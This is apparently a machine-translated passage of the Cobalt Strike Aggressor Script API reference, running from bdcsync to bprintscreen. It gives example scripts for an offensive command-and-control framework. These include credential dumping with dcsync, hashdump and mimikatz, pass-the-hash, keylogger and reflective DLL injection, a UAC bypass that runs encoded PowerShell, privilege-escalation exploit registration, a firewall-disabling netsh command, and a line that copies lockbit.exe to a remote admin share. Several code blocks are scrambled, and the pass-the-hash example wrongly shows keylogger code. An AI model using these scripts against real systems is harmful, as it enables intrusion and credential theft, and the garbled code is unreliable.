Implementation in the specified process

```
# dump a specific account bdcsync($1,
"PLAYLAND.testlab", "PLAYLAND\\Administrator", 1234, "x64");

# dump all accounts bdcsync($1,
"PLAYLAND.testlab", $null, 1234, "x64");
```

bdesktop

Starts a VNC session.

Arguments $1
is the Beacon ID. It can be an array or a single id

Example

```
item "&Desktop
(VNC)" { bdesktop($1); }
```

bdllinject

Injects the Reflective DLL into the process.

Arguments $1
is the Beacon ID. It can be an array or a single id

$2 - PID to inject the DLL into it

$3 - local path to Reflective DLL

Example

```
bdllinject($1, 1234, script_resource("test.dll"));
```

bdllload

Calls LoadLibrary() in a remote process using the specified DLL.

Arguments $1
is the Beacon ID. It can be an array or a single id

$2 - PID of the target process

$3 - path to the DLL

Note The DLL
must be of the same architecture as the target process.

Example

```
bdllload($1, 1234, "c:\\windows\\mystuff.dll");
```

bdllspawn

Spawns the Reflective DLL as a Beacon's post-operational job.

Arguments $1
is the Beacon ID. It can be an array or a single identifier $2 - local path to the Reflective

DLL

$3 - parameter to pass DLL

a brief description of this post-exploitation (displayed in jobs output) $4 - duration of blocking and

waiting for output $5 - (specified in milliseconds) true/false; should I use an
impersonated token when doing this $6

- post-exploitation task?

Notes This

- function will spawn an x86 process if the Reflective DLL is an x86 DLL. Similarly, if the Reflective DLL is an x64 DLL, this function will spawn an
- x64 process. A properly functioning Reflective DLL follows these rules:
  - Gets the parameter via the reserved DllMain parameter when the DLL_PROCESS_ATTACH ownership is specified. Prints
  - messages to STDOUT.
  - Calls fflush(stdout) to clear STDOUT.
  - Calls ExitProcess(0) after it completes. This kills the child process that hosted the functionality.

Example (ReflectiveDll.c) This

example is based on Stephen Feuer's Reflective DLL Injection project:

```
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) {

    BOOL bReturnValue = TRUE;
    switch( dwReason ) { case
        DLL_QUERY_HMODULE:
            if( lpReserved != NULL )
                *(HMODULE *)lpReserved = hAppInstance;
break;
        case DLL_PROCESS_ATTACH:
            hAppInstance = hinstDLL;

            /* output data to operator */ if (lpReserved !=
            NULL) {
                printf("Hello from test.dll.
                Parameter is '%s'\n", (char *)lpReserved);
```

```
} else
{ printf("Hello from
test.dll. There is no parameter\n"); }


                    /* flush STDOUT */ fflush(stdout);


                    /* we're done, so exit. */ ExitProcess(0); break;


            case DLL_PROCESS_DETACH: case
            DLL_THREAD_ATTACH: case
            DLL_THREAD_DETACH: break; } return
bReturnValue; }
```

Example (Aggressor Script)

```
alias hello {
    bdllspawn($1, script_resource("reflective_dll.dll"), $2, "test dll", 5000, false);

}
```

bdownload

Asks the Beacon to download a file.

Arguments

Beacon identifier. It can be an array or a single identifier $1 -

$2 - requested file

Example

```
bdownload($1, "c:\\sysprep.inf");
```

bdrives

Asks the Beacon to list the drives on the compromised system.

Arguments

$1 is the Beacon ID. It can be an array or a single id

Example

```
item "&Drives" { binput($1,
    "drives");
```

```
bdrives($1); }
```

beacon_command_describe

Describes the Beacon command.

Returns a String
describing the Beacon's command.

Arguments
$1 - command

Example

```
println(beacon_command_describe("ls"));
```

beacon_command_detail

Gets help information about the Beacon command.

Returns a String
with useful information about the Beacon's command.

Arguments
$1 - team

Example

```
println(beacon_command_detail("ls"));
```

beacon_command_register

Registers help information about the Beacon's command.

Arguments
$1 - team

$2 - short description of the command

$3 - extended help information about the command

Example

```
alis echo
    { blog($1, "You typed: "                    . substr($1, 5));
}

beacon_command_register(
```

```
"echo", "echo
        text to beacon log",
        "Synopsis: echo [args]\n\n Write arguments to Beacon's console");
```

beacon_commands

Gets a list of Beacon commands.

Returns an
array of Beacon commands.

Example

```
printAll(beacon_commands());
```

beacon_data

Gets the Beacon's session metadata.

Arguments $1
- Beacon ID to get metadata

Returns a
Dictionary containing the Beacon's session metadata.

Example

```
println(beacon_data("1234"));
```

beacon_elevator_describe

Describes Beacon's elevator.

Returns Beacon
elevator description string.

Arguments $1
- elevator

Example

```
println(beacon_elevator_describe("uac-token-duplication"));
```

See also
&beacon_elevator_register, &beacon_elevators, &belevate_command

beacon_elevator_register

Registers Beacon's elevator with Cobalt Strike. This adds a parameter to the **runasadmin command.**

Arguments $1 -
short name of the exploit

$2 - exploit description

$3 - function that implements the exploit ($1 - Beacon ID, $2 - command and arguments)

Example

```
# Integrate schtasks.exe (via SilentCleanup) Bypass UAC # Empire Source: https://github.com/
EmpireProject/Empire/tree/
master/data/module_ source/privesc sub schtasks_elevator {


        local('$handle $script $oneliner $command');

        # confirmation of this command btask($1,
        "Tasked Beacon to execute $2 in a high integrity context",
"T1088");

        # read script $handle =
        openf(getFileProper(script_resource("modules"), "Invoke EnvBypass.ps1")); $script = readb($handle, -1);


closef($handle);

        # placing the script in the Beacon $oneliner =
        beacon_host_script($1, $script);

        # base64 encode command $command =
        transform($2, "powershell-base64");

        # run the specified command with this exploit bpowerpick!($1, "Invoke-EnvBypass
        -Command \" $+ $command $+ \"", $oneliner); }



beacon_elevator_register("uac-schtasks", "Bypass UAC with schtasks.exe (via SilentCleanup)",
&schtasks_elevator);
```

See also

&beacon_elevator_describe, &beacon_elevators, &belevate_command

beacon_elevators

Gets a list of elevators registered with Cobalt Strike.

returns

An array of Beacon elevators.

Example

```
printAll(beacon_elevators());
```

See also

&beacon_elevator_describe, &beacon_elevator_register, &belevate_command

beacon_execute_job

Executes a command and reports its results to the user.

Arguments $1 -
Beacon ID $2 - Command to execute

(environment variables allowed) $3 - Command arguments (environment variables not

allowed)

$4 - flags that change the start of the task (for example, 1 = disable WOW64 file system redirection)

Notes

- The lines $2 and $3 are concatenated on the command line unchanged. Make sure you start $3 with a space! This
- mechanism of Cobalt Strike uses shell and powershell for its commands.

Example

```
alias shell
{ local('$args'); $args =
      substr($0, 6); btask($1, "Tasked
      beacon to run: $args", "T1059"); beacon_execute_job($1, "%COMSPEC%",
      " /C $args", 0);
}
```

beacon_exploit_describe

Describes the Beacon exploit.

Returns A string
describing the Beacon exploit

Arguments
$1 - exploit

Example
```
println(beacon_exploit_describe("ms14-058"));
```

See also
&beacon_exploit_register, &beacon_exploits, &belevate

beacon_exploit_register

Registers a privilege escalation exploit in Cobalt Strike. This adds a parameter to the **elevate command.**

Arguments
$1 - short name of the exploit

$2 - exploit description

$3 - function that implements the exploit ($1 - Beacon ID, $2 - Listener)

Example
```
# Integration windows/local/ms16_016_webdav from Metasploit # https://github.com/rapid7/
metasploit framework/blob/master/modules/exploits/
windows/local/ms16_016_webdav.rb

sub ms16_016_exploit
{ local('$stager');

      # check for an x64 system and throw an error if (-is64 $1) { berror($1,
      "ms16-016 exploit is
            x86 only"); return; }



      # confirm this command btask($1, "Task
      Beacon to run                                  "                . listener_describe($2) .                  "via ms16-
016", "T1068");

      # generate our shellcode $stager =
      payload($2, "x86");

      # spawn a Beacon post-exposure job with a DLL exploit


      bdllspawn!($1, getFileProper(script_resource("modules"), "cve-2016-
0051.x86.dll"), $stager, "ms16-016", 5000);

      # link to our payload if it's TCP or SMB Beacon beacon_link($1, $null, $2);

}
```

```
beacon_exploit_register("ms16-016", "mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)",
&ms16_016_exploit);
```

See also
&beacon_exploit_describe, &beacon_exploits, &belevate

beacon_exploits

Gets a list of privilege escalation exploits registered with Cobalt Strike.

returns
An array of Beacon exploits.

Example

```
printAll(beacon_exploits());
```

See also
&beacon_exploit_describe, &beacon_exploit_register, &belevate

beacon_host_imported_script

Places a previously imported PowerShell script locally in the Beacon and returns a short script that will load and call that script.

Arguments $1
- ID of the Beacon that will host this script

Returns a short
PowerShell script to load and test the previous script when it is run. How to use this one-line script is up to you!

Example

```
alias powershell {
    local('$args $cradle $runme $cmd');

    # $0 is the whole command without any parsing $args = substr($0, 11);


    # generate a load cradle (if it exists) for an imported PowerShell script $cradle =
    beacon_host_imported_script($1);


    # encoding our boot cradle AND the cmdlet+arguments we want to run

    $runme = base64_encode( str_encode($cradle . $args, "UTF-16LE") );

    # building our entire command line $cmd = -nop -exec
    bypass -EncodedCommand \" $+ $runme $+ \"";
```

```
        # tell the Beacon to run this btask($1, "Tasked beacon to run:
        $args", "T1086"); beacon_execute_job($1, "powershell", $cmd, 1);

}
```

beacon_host_script

Host a PowerShell script locally in the Beacon and return a short script that will load and call it. This function is one way to run large scripts when there are restrictions on the length of your single-line PowerShell command.

Arguments $1
- ID of the Beacon that will host this script

$2 - script data to place

Returns a short
PowerShell script to load and test the script on startup. How to use this one-line script is up to you!

Example

```
alias test
        { local('$script $hosted'); $script = "2
        + 2"; $hosted =
        beacon_host_script($1, $script);

         binput($1, "powerpick $hosted"); bpowerpick($1,
         $hosted);
 }
```

beacon_ids

Gets the IDs of all Beacons accessing this Cobalt Strike C&C server.

Returns an array
of beacon ids.

Example

```
 foreach $bid(beacon_ids()) { println("Bid:
        $bid");
 }
```

beacon_info

Gets information from the Beacon's session metadata.

Arguments
$1 - Beacon ID to get metadata

$2 - key to extract

Returns a
String with the requested information.

Example

```
println("User is: " println("PID is: "  . beacon_info("1234", "user")); . beacon_info("1234", "pid"));
```

beacon_inline_execute

Executes a Beacon Object File.

Arguments
$1 - Beacon ID $2 - String containing BOF file

$3 - entry point to run

$4 - packed arguments to be passed to the BOF file

Note The
Cobalt Strike documentation has a page dedicated to BOF files. See section *Beacon Object Files* on page 127.

Example (hello.c)

```
/*
* Compile with: *
x86_64-w64-mingw32-gcc -c hello.c -o hello.x64.o * i686-w64-mingw32-gcc
-c hello.c -o hello.x86.o */


#include "windows.h"
#include "stdio.h" #include
"tlhelp32.h" #include "beacon.h"


void demo(char * args, int length) { datap parser;
char*str_arg; num_arg;

int

BeaconDataParse(&parser, args, length); str_arg =
BeaconDataExtract(&parser, NULL); num_arg =
BeaconDataInt(&parser);
```

```
BeaconPrintf(CALLBACK_OUTPUT, "Message is %s with %d arg", str_arg, num_ arg); }
```

Example (hello.cna)

```
alias hello
{ local('$barch $handle $data $args');

# defining the architecture of this session $barch = barch($1);


# read the correct BOF file $handle =
openf(script_resource("hello. $+ $barch $+ .o")); $data = readb($handle, -1); closef($handle);



# packing our arguments $args = bof_pack($1, "zi",
"Hello World", 1234);

# declaration of our actions btask($1, "Running
      Hello BOF");

      # execute
      beacon_inline_execute($1, $data, "demo", $args);
}
```

See also
&bof_pack

beacon_link

This feature binds to an SMB or TCP Listener. If the specified Listener is not an SMB or TCP Listener, this function will do nothing.

Arguments
$1 is the ID of the Beacon with which to bind $2 is the target host to bind to.
Use $null for localhost $3 - Listener to bind

Example

```
# smartlink [target] [listener name] alias smartlink
{ beacon_link($1, $2, $3);

}
```

beacon_remote_exec_method_describe

Describes the remote execution method.

Returns a
String describing the remote execution method.

Arguments
$1 - method

Example
```
println(beacon_remote_exec_method_describe("wmi"));
```

See also
&beacon_remote_exec_method_register, &beacon_remote_exec_methods, &bremote_exec

beacon_remote_exec_method_register

Registers a remote execution method with Cobalt Strike. This adds a parameter to use in the **remote-exec command.**

Arguments
$1 - short method name

$2 - method description

$3 - the function that implements this method ($1 - Beacon identifier, $2 - target, $3 - command + arguments).

See also
&beacon_remote_exec_method_describe, &beacon_remote_exec_methods, &bremote_exec

beacon_remote_exec_methods

Gets a list of remote execution methods registered with Cobalt Strike.

Returns an
array of modules to execute remotely.

Example
```
printAll(beacon_remote_exec_methods());
```

See also
&beacon_remote_exec_method_describe, &beacon_remote_exec_method_register, &bremote_exec

beacon_remote_exploit_arch

Gets architecture information for this lateral move method.

Arguments
$1 - method

returns
x86 or x64.

Example
```
println(beacon_remote_exploit_arch("psexec"));
```

See also
&beacon_remote_exploit_register, &beacon_remote_exploits, &bjump

beacon_remote_exploit_describe

Describes the lateral movement method.

Returns a
String describing the lateral move method.

Arguments
$1 - method

Example
```
println(beacon_remote_exploit_describe("psexec"));
```

See also
&beacon_remote_exploit_register, &beacon_remote_exploits, &bjump

beacon_remote_exploit_register

Registers the lateral movement method in Cobalt Strike. This function extends the **jump command.**

Arguments
$1 - short name of the
method $2 - architecture related to this method (for example, x86, x64)

$3 - method description

$4 - function that implements the method ($1 - Beacon ID, $2 - target, $3 - listener)

See also
&beacon_remote_exploit_describe, &beacon_remote_exploits, &bjump

beacon_remote_exploits

Gets a list of lateral movement methods registered with Cobalt Strike.

Returns an array
of lateral movement method names.

Example

```
printAll(beacon_remote_exploits());
```

See also
&beacon_remote_exploit_describe, &beacon_remote_exploit_register, &bjump

beacon_remove

Removes the Beacon from the screen.

Arguments $1 -
the ID of the Beacon to remove

beacon_stage_pipe

This function handles the staging process for the bind pipe stager. This is an additional stager for lateral movement. You can pass any x86 payload/Listener through this stager. Use the &stager_bind_pipe to generate this stager.

Arguments $1 -
identifier of the Beacon through which staging will pass $2 - target host

$3 - Listener's name

$4 - payload architecture for stage. x86 is the only option for now

Example

```
# step 1. create our stager $stager =
stager_bind_pipe("listener");

# step 2. do something to start our stager

# step 3. pass the payload through this stager
beacon_stage_pipe($bid, $target, "listener", "x86");

# step 4. take control of the payload (if needed) beacon_link($bid, $target, "listener");
```

beacon_stage_tcp

This function handles the staging process for the bind TCP stager. This is the most preferred stager for staging on localhost only. You can pass any payload/Listener through this stager. Use &stager_bind_tcp to create this stager.

Arguments $1
- identifier of the Beacon through which staging will pass $2 - reserved; for now use $null $3 - port for stage $4 - listener name

$5 - payload architecture for stage (x86, x64)

Example

```
# step 1. create our stager $stager =
stager_bind_tcp("listener", "x86", 1234);

# step 2. do something to start our stager

# step 3. pass the payload through this stager beacon_stage_tcp($bid,
$target, 1234, "listener", "x86");

# step 4. take control of the payload (if needed) beacon_link($bid, $target, "listener");
```

beacons

Gets information about all Beacons accessing this Cobalt Strike C&C server.

Returns an array
of dictionaries with information about each beacon.

Example

```
foreach $beacon(beacons()) {
        println("Bid: " . $beacon['id'] .                    "is"          . $beacon['name']);
}
```

belevate

Requests the Beacon to spawn a privileged session using the registered technology.

Arguments $1
is the Beacon ID. It can be an array or a single id

$2 - method to execute

$3 - Listener for the target

Example

```
item "&Elevate
31337" { openPayloadHelper(lambda({ binput($bids,
            "elevate ms14-058 $1"); belevate($bids, "ms14-058", $1);

        }, $bids => $1));
}
```

See also
&beacon_exploit_describe, &beacon_exploit_register, &beacon_exploits

belevate_command

Asks the Beacon to execute a command in a high-integrity context.

Arguments $1
is the Beacon ID. It can be an array or a single id

$2 - module/elevator to use

$3 - command and its arguments

Example

```
# disable firewall alias shieldsdn {

      belevate_command($1, "uac-token-duplication", "cmd.exe /C netsh
advfirewall set allprofiles state off"); }
```

See also
&beacon_elevator_describe, &beacon_elevator_register, &beacon_elevators

berror

Publishes an error message in the Beacon's transcript.

Arguments $1 -
Beacon ID to post $2 - Text to post

Example

```
alias donotrun { berror($1,
      "You should never run this command!");
}
```

beexecute

Asks the Beacon to execute a command (no shell). It does not provide any output to the user.

Arguments $1
- identifier of the Beacon through which staging will pass $2 - command and arguments to execute

Example

```
beexecute($1, "notepad.exe");
```

beexecute_assembly

Spawns an assembly of a local .NET executable as a Beacon's post-operational job.

Arguments $1
- identifier of the Beacon through which staging will pass $2 - local path to the executable .NET assembly $3 - parameters to pass to the assembly

Notes

- This command takes a valid .NET executable and accesses its entry point.
- This post-operational job inherits the Beacon's thread token.
- Compile your own .NET programs with the .NET compiler version 3.5 for compatibility with systems that do not have .NET 4.0 and later.

Example

```
alias myutil
    { beexecute_assembly($1, script_resource("myutil.exe"), "arg1 arg2 \"arg 3\""); }
```

bexit

Asks the Beacon to shut down.

Arguments $1
is the Beacon ID. It can be an array or a single id

Example

```
item
    "&Die" { binput($1, "exit");
```

```
bexit($1); }
```

bgetprivs

Tries to activate the specified privilege in the Beacon's session.

Arguments $1
is the Beacon ID. It can be an array or a single id

$2 is a comma-separated list of privileges to activate. See https://msdn.microsoft.com/en-us/library/windows/desktop/bb530716(v=vs.85).aspx

Example

```
alias debug
{ bgetprivs($1, "SeDebugPriv"); }
```

bgetsystem

Asks the Beacon to attempt to obtain a SYSTEM token.

Arguments $1
is the Beacon ID. It can be an array or a single id

Example

```
item "Get &SYSTEM" { binput($1,
      "getsystem"); bgetsystem($1); }
```

bgetuid

Asks the Beacon to print the user ID of the current token.

Arguments $1
is the Beacon ID. It can be an array or a single id

Example

```
bgetuid($1);
```

bhashdump

Asks the Beacon to dump the password hashes of local accounts. If injected into pid, this process requires administrator privileges.

Arguments $1
is the Beacon ID. It can be an array or a single id

$2 - PID for injecting hashdump dll

$3 - target PID architecture (x86|x64)

Example

Generation of a temporary process

```
item "Dump &Hashes" { binput($1,
      "hashdump"); bhashdump($1); }
```

Implementation in the specified process

```
bhashdump($1, 1234, "x64");
```

bind

Binds a key combination to an Aggressor Script function. This is an alternative to the bind keyword.

Arguments $1
- keyboard shortcut

$2 - callback function. It is called when an event occurs.

Example

```
# Binding Ctrl+Left and Ctrl+Right to go to the previous and
   next tab

bind("Ctrl+Left",.
{ previousTab(); });


bind("Ctrl+Right", { nextTab(); });
```

See also &unbind

binfo

Gets information from the Beacon's session metadata.

Arguments
$1 - Beacon ID to get metadata

$2 - key to extract

Returns a
String with the requested information.

Example

```
println("User is: " println("PID    . binfo("1234", "user")); . binfo("1234",
is: "                                "pid"));
```

binject

Asks the Beacon to inject a session into a specific process.

Arguments $1 is
the Beacon ID. It can be an array or a single id

$2 - process for injecting the session

$3 - Listener for the target

$4 - process architecture (x86 | x64)

Example

```
binject($1, 1234, "listener");
```

binline_execute

Executes Beacon Object File. This is similar to using the inline-execute command in Beacon.

Arguments
$1 - Beacon ID

$2 - path to BOF file

$3 - string argument to pass to the BOF file

Notes This function
mimics the behavior of *inline-execute* in the Beacon console. The string argument will be a terminal null, converted to the appropriate encoding, and passed as an argument to BOF's go function. To execute a BOF with additional control, use &beacon_inline_execute.

The Cobalt Strike documentation has a page dedicated to BOF files. See *Beacon Object Files* on page 127.

binput

Reports the execution of a command to the Beacon's console and logs. Scripts that execute commands for the user (eg events, popup menus) should use this feature to ensure that automated actions are assigned to the operator in the Beacon logs.

Arguments
$1 - the ID of the Beacon to publish

$2 - text to place

Example

```
# indicating that the user has executed the command ls binput($1, "ls");
```

bipconfig

Lists network interfaces using a Beacon.

Arguments
$1 is the Beacon ID. It can be an array or a single id

$2 - callback function with ipconfig results. The callback arguments are: $1 = beacon id, $2 = results

Example

```
alias ipconfig
    { bipconfig($1,
        { blog($1, "Network information is:\n $+ $2"); }); }
```

bjobkill

Requests the Beacon to complete a running post-operational task.

Arguments $1 is
the Beacon ID. It can be an array or a single id

$2 - job ID

Example

```
bjobkill($1, 0);
```

bjobs

Requests the Beacon for a list of running post-operational jobs.

Arguments $1 is
the Beacon ID. It can be an array or a single id

Example

```
bjobs($1);
```

bjump

Requests the Beacon to spawn a session on the remote target.

Arguments

$1 is the Beacon ID. It can be an array or a single id

$2 - technique to use

$3 - remote target

$4 - Listener to spawn

Example

```
# winrm [target] [listener] alias winrm
{ bjump($1, "winrm",
      $2, $3); {
}
```

See also

&beacon_remote_exploit_describe, &beacon_remote_exploit_register, &beacon_remote_exploits

bkerberos_ccache_use

Asks the Beacon to embed the UNIX kerberos cchache file in the user's kerberos tray.

Arguments

$1 is the Beacon ID. This can be an array or a single identifier $2 - the local path to the ccache file

Example

```
alias kerberos_ccache_use {
      bkerberos_ccache_use($1, $2);
}
```

bkerberos_ticket_purge

Requests the Beacon to clear tickets from the user's kerberos tray.

Arguments

$1 is the Beacon ID. It can be an array or a single id

Example

```
alias kerberos_ticket_purge
      { bkerberos_ticket_purge($1);
}
```

bkerberos_ticket_use

Asks the Beacon to embed the mimikatz kirbi file in the user's kerberos tray.

Arguments

$1 is the Beacon ID. It can be an array or a single identifier $2 is the local path to the kirbi file

Example

```
alias kerberos_ticket_use {
      bkerberos_ticket_use($1, $2);
}
```

bkeylogger

Injects a keylogger into a process.

Arguments

$1 is the Beacon ID. It can be an array or a single id

$2 - PID for keylogger injection

$3 - target PID architecture (x86|x64)

Example

Generation of a temporary process

```
bkeylogger($1;
```

Implementation in the specified process

```
bkeylogger($1, 1234, "x64");
```

bkill

Asks the Beacon to end the process.

Arguments $1
is the Beacon ID. It can be an array or a single id

$2 - PID to complete

Example

```
bkill($1, 1234);
```

blink

Asks the Beacon to communicate with the host via a named pipe.

Arguments $1
is the Beacon ID. It can be an array or a single id

$2 - the target for establishing

the connection $3 - [optional] the name of the channel to be used. By default, the channel name from the Malleable C2 profile is used.

Note Use
&beacon_link if you need a script function that will connect or link based on the Listener's configuration.

Example

```
blink($1, "DC");
```

blog

Publishes a post on WordPress.com (just kidding...or maybe not). Publishes the outgoing message in the Beacon's transcript.

Arguments
$1 - Beacon ID to post $2 - Text to post

Example

```
alias demo
{ blog($1, "I am output for the blog function"); }
```

blog2

Publishes the outgoing message in the Beacon's transcript. This function has an alternative format compared to &blog.

Arguments
$1 - Beacon ID to post $2 - Text to post

Example

```
alias demo2
        { blog2($1, "I am output for the blog2 function");
}
```

bloginuser

Asks the Beacon to create a token from the specified credentials. This is the make_token command.

Arguments

$1 is the Beacon ID. It can be an array or a single id

$2 - user domain

$3 - username

$4 - user password

Example

```
# create a token for a user with an empty password alias make_token_empty {

        local('$domain$user'); ($domain,
         $user) = split("\\\\", $2);] bloginuser($1, $domain, $user,
        "");
}
```

blogonpasswords

Asks the Beacon to dump credentials in memory using mimikatz. This feature requires administrator privileges.

Arguments

$1 is the Beacon ID. It can be an array or a single id

$2 - PID for implementing the logonpasswords command or

$null $3 - target PID architecture (x86|x64) or $null

Example

Create a temporary process item "Dump

```
&Passwords" { binput($1,
        "logonpasswords"); blogonpasswords($1); }
```

Implementation in the specified process

```
beacon_command_register( "logonpasswords_inject", "Inject into process and reset credentials in memory with
    mimikatz", "Usage: logonpasswords_inject [pid] [arch]");

alias logonpasswords_inject
{ blogonpasswords($1, $2, $3); }
```

bls

Instructs the Beacon to list the files.

Options

```
bls($1, "folder");
```

Prints the result to the Beacon's console.

```
bls($1, "folder", &callback);
```

Redirects the results to the specified callback function.

Arguments $1
is the Beacon ID. It can be an array or a single identifier $2 - the folder for which you
want to list the files. Use . to list the current folder

$3 is an optional callback function with the results of ls. The callback arguments are: $1 - Beacon ID, $2 - Folder, $3 - Results

Example

```
on beacon_initial { bls($1, ".");

}
```

bmimikatz

Requests the Beacon to execute the mimikatz command.

Arguments $1
is the Beacon ID. It can be an array or a single identifier $2 - the command and
arguments to execute $3 - the PID to inject
the mimikatz command or $null $4 - the architecture
of the target PID (x86|x64) or $null

Example

```
# Usage: coffee [pid] [arch] alias coffee { if ($2 >= 0 && ($3
eq "x86" || $3 eq
        "x64")) { bmimikatz($1, "standard::coffee", $2, $3 );

        } else {
                bmimikatz($1, "standard::coffee");
} }
```

bmimikatz_small

Uses a minified mimikatz internal build from Cobalt Strike to execute the mimikatz command.

Arguments
$1 is the Beacon ID. It can be an array or a single id

$2 - command and arguments to execute

$3 - PID for injection of the mimikatz command or $null $4 -

target PID architecture (x86|x64) or $null

Note This
build of mimikatz supports:

```
* kerberos::golden *
lsadump::dcsync *
sekurlsa::logonpasswords * sekurlsa::pth
```

Everything else is cut out for convenience. Use &bmimikatz if you want to use all of mimikatz's ULTIMATE power to solve some other offensive problems.

Example

```
# Usage: logonpasswords_elevate [pid] [arch] alias logonpasswords_elevate
{ if ($2 >= 0 && ($3 eq "x86" || $3 eq
        "x64")) { bmimikatz_small($1, "!sekurlsa::logonpasswords", $2,
                $3); } else {

                bmimikatz_small($1, "!sekurlsa::logonpasswords");
} }
```

bmkdir

Asks Beacon to create a folder.

Arguments
$1 is the Beacon ID. It can be an array or a single id

$2 - folder to create

Example

```
bmkdir($1, "you are owned");
```

bmode

Changes the data transfer channel for the DNS Beacon.

Arguments $1 is
the Beacon ID. It can be an array or a single id

$2 - data channel (for example, dns, dns6 or dns-txt)

Example

```
item "Mode DNS-TXT" { binput($1,
      "mode dns-txt"); bmode($1, "dns-txt");

}
```

bmv

Asks the Beacon to move a file or folder.

Arguments
$1 is the Beacon ID. It can be an array or a single id

$2 - file or folder to move

$3 - destination

Example

```
bmv($1, "lockbit.exe", "\\\\target\\C$\\lockbit.exe");
```

bnet

Runs a command from the Beacon tool to list networks and hosts.

Arguments
$1 is the Beacon ID. It can be an array or a single id

$2 - command to execute

Type	Description
computers	lists hosts in a domain (groups)
dclist	lists domain controllers
domain	displays the current domain
domain_controllers	lists the domain controller hosts in the domain (groups)
domain_trusts	lists domain trusts
group	lists groups and users in groups
local group	lists local groups and users in them
logons	lists users authorized on the host
sessions	lists sessions on the host
share	lists the network shares on the host
user	lists users and information about them
time	displays the time on the host
view	lists hosts in a domain (service explorer)

$3 - target host to execute this command or $null

$4 - parameter for this command (eg group name)

$5 - PID for implementation of network and host enumeration tool or $null $6 - target

PID architecture (x86|x64) or $null

Notes

- The domain command performs BOF with inline_execute and will not spawn or inject into a process.
- To spawn a temporary process for injection, omit the $5 (PID) and $6 (architecture) arguments. To inject into a
- specific process, specify the $5 (PID) and $6 (architecture) arguments.

Example

Create a temporary process

```
# ladmins [target] #
search for local admins on target alias ladmins {

    bnet($1, "localgroup", $2, "administrators");
}
```

Implementation in the specified process

```
# ladmins [pid] [architecture] [target] # find local
administrators on target alias ladmins { bnet($1, "localgroup", $4,
"administrators", $2,
        $3);
}
```

bnote

Assigns an annotation to the specified Beacon.

Arguments $1
- the ID of the Beacon to publish

$2 - note content

Example

```
bnote($1, "foo");
```

bof_extract

This function extracts the executable code from the Beacon Object File.

Arguments
$1 - a string containing the Beacon Object File

Example

```
$handle = openf(script_resource("/object_file")); $data = readb($handle, -1);
closef($handle);



return bof_extract($data);
```

bof_pack

Packs the arguments so that they can be unpacked using the BOF API.

Arguments $1
- Beacon identifier (required for unicode character conversion) $2 - format string to wrap

... - one argument for each element of our formation string

Note This function
packages its arguments into a binary structure for use with &beacon_inline_execute. The format string options here correspond to the BeaconData* C API available for BOF files. This API handles data conversions and hints based on the requirements of each type it can package.

Type	Description	Unpack with (C)
b	binary data	BeaconDataExtract
i	4-byte int	BeaconDataInt
s	2-byte short integer	BeaconDataShort
z	terminal null + encoded string	BeaconDataExtract
Z	terminal null + wide character string	(wchar_t *)BeaconDataExtract

The Cobalt Strike documentation has a page dedicated to BOF files. See section *Beacon Object Files* on page 127.

See also
&beacon_inline_execute

bpassthehash

Asks the Beacon to create a token corresponding to the specified hash. This is the pth Beacon command. She uses mimikatz. This feature requires administrator privileges.

Arguments

$1 is the Beacon ID. It can be an array or a single id

$2 - user domain

$3 - username

$4 - user password hash

$5 - PID for injection of the pth command or $null $6 -

target PID architecture (x86|x64) or $null

Example

Generation of a temporary process

```
item "&Keylogger" { binput($1,
    "keylogger"); bkeylogger($1); }
```

Implementation in the specified process

```
bkeylogger($1, 1234, "x64");
```

bpause

Requests the Beacon to pause execution. This is a one time dream.

Arguments $1 is
the Beacon ID. This can be an array or a single identifier $2 - how long the Beacon should
pause execution (milliseconds)

Example

```
alias pause
        { bpause($1, int($2));
}
```

bportscan

Asks the Beacon to run its port scanner.

Arguments $1 is
the Beacon ID. This can be an array or a single identifier $2 - targets to scan (for example,
192.168.12.0/24) $3 - ports to scan (for example, 1-1024, 6667)
$4 - discovery method used (arp|icmp|none) $5 - maximum
number of sockets to use (e.g. 1024)

$6 - PID for port scanner implementation or $null $7 -
target PID architecture (x86|x64) or $null

Example

Generation of a temporary process

```
bportscan($1, "192.168.12.0/24", "1-1024,6667", "arp", 1024);
```

Implementation in the specified process

```
bportscan($1, "192.168.12.0/24", "1-1024,6667", "arp", 1024, 1234, "x64");
```

bpowerpick

Spawns a process, injects unmanaged PowerShell, and executes the specified command.

Arguments $1 is
the Beacon ID. It can be an array or a single id
$2 - cmdlet and arguments

$3 - [optional] if specified, then the powershell-import script is ignored, and the given argument is treated as a cradle load to complete the command. An empty string is also suitable for cases where there is no download cradle

Example

```
# get the version of PowerShell that is available via unmanaged
PowerShell

alias powerver
	{ bpowerpick($1, '$PSVersionTable.PSVersion');
}
```

bpowershell

Asks the Beacon to run a PowerShell cmdlet.

Arguments $1
is the Beacon ID. It can be an array or a single id

$2 - cmdlet and arguments $3

- [optional] if specified, then the powershell-import script is ignored, and this argument is treated as a cradle load to complete the command. An empty string is also suitable for cases where there is no download cradle

Example

```
# get PowerShell version...
alias powerver
	{ bpowershell($1, '$PSVersionTable.PSVersion');
}
```

bpowershell_import

Imports a PowerShell script into a Beacon.

Arguments $1
is the Beacon ID. It can be an array or a single identifier $2 - the path to the local file to import

Example

```
# quick start PowerUp alias powerup
{ bpowershell_import($1,
    script_resource("PowerUp.ps1")); bpowershell($1, "Invoke-AllChecks"); }
```

bpowershell_import_clear

Removes an imported PowerShell script from a Beacon session.

Arguments $1
is the Beacon ID. It can be an array or a single id

Example

```
alias powershell-clear
{ bpowershell_import_clear($1); }
```

bppid

Sets the parent process for the Beacon's child processes.

Arguments $1
is the Beacon ID. It can be an array or a single ID $2 - the ID of the parent process.

Specify 0 to return to default behavior

Notes The

- current session must have access rights to the specified parent process.
- Attempts to spawn post-exploitation jobs under parent processes in another desktop session may fail. This limitation is due to the way Beacon runs temporary processes for post production tasks and injects code into them.

Example

```
# getexplorerpid($bid, &callback); sub getexplorerpid
{ bps($1, lambda({ local('$pid
      $name $entry'); foreach
            $entry (split("\n", $2)) { ($name, $null, $pid)
            = split( "\\s+", $entry); if ($name eq "explorer.exe")
                  { [$callback: $1, $pid];


} } }, $callback
=> $2));

 }

alias prepenv
{ btask($1, "Tasked Beacon to find explorer.exe and make it the PPID"); getexplorerpid($1, { bppid($1, $2); }); }
```

bprintscreen

Requests the Beacon to take a screenshot using the PrintScr method.

Arguments $1
is the Beacon ID. It can be an array or a single id

$2 - PID for injecting a screenshot tool using the PrintScr method $3 - target PID architecture (x86|x64)

Example

Generation of a temporary process

```
item "&Printscreen" { binput($1,
